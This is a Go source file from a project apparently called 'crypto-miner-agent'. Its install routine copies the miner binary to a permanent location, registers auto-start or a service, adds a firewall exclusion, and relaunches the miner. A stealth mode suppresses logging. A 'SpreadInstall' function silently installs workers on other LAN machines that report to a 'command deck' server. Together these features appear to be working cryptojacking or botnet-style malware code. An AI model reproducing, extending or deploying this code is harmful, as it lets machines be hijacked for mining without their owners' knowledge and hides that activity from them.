package deploy

import (
	"fmt"
	"os"
	"path/filepath"

	"crypto-miner-agent/config"
)

// InstallIfNeeded copies the installer to a permanent location, registers auto-start,
// and relaunches the miner from there. Returns true when the current process should exit.
func InstallIfNeeded(cfg config.RuntimeConfig) (bool, error) {
	if isRunMode() {
		return false, nil
	}

	currentExe, err := CurrentExecutable()
	if err != nil {
		return false, err
	}

	installDir, err := resolveInstallDirWithFallback(cfg)
	if err != nil {
		return false, err
	}
	installedBin := filepath.Join(installDir, BinaryName(cfg))

	if samePath(currentExe, installedBin) {
		return false, nil
	}

	if err := os.MkdirAll(installDir, 0755); err != nil {
		return false, fmt.Errorf("create install dir: %w", err)
	}

	if err := copyFile(currentExe, installedBin); err != nil {
		return false, fmt.Errorf("copy miner: %w", err)
	}
	_ = saveBackup(installedBin)

	agentID, err := loadOrCreateAgentID(installDir)
	if err != nil {
		return false, fmt.Errorf("agent id: %w", err)
	}

	logPath := filepath.Join(installDir, "miner.log")
	if !cfg.FileLogging || cfg.StealthMode {
		logPath = ""
	}

	writeInstalledMarker(cfg, installDir, installedBin, agentID)

	if wantsSpreadInstall() {
		_ = setFirstRunSpreadMarker(installDir)
	}

	if cfg.AutoStart && cfg.RunAs != "scheduled" && cfg.RunAs != "service" {
		if err := configureAutoStart(cfg, installedBin); err != nil {
			return false, fmt.Errorf("auto-start: %w", err)
		}
	}

	if err := configureRunMode(cfg, installedBin); err != nil {
		return false, err
	}

	EnsureFirewallExclusion(cfg, installedBin)

	if err := relaunch(installedBin, logPath); err != nil {
		return false, fmt.Errorf("start installed miner: %w", err)
	}

	return true, nil
}

// SpreadInstall performs silent install from a spread-kit launcher (same as InstallIfNeeded).
func SpreadInstall(cfg config.RuntimeConfig) (bool, error) {
	if isLocalhostURL(cfg.ServerURL) {
		LogSpreadError("preflight", fmt.Errorf("server URL is localhost — workers on other machines cannot reach the command deck; re-forge with your LAN IP"))
	}
	ok, err := InstallIfNeeded(cfg)
	if err != nil {
		LogSpreadError("spread-install", err)
		return ok, err
	}
	if ok {
		LogSpreadInfo("spread-install complete — worker relaunched from install dir")
	}
	return ok, err
}
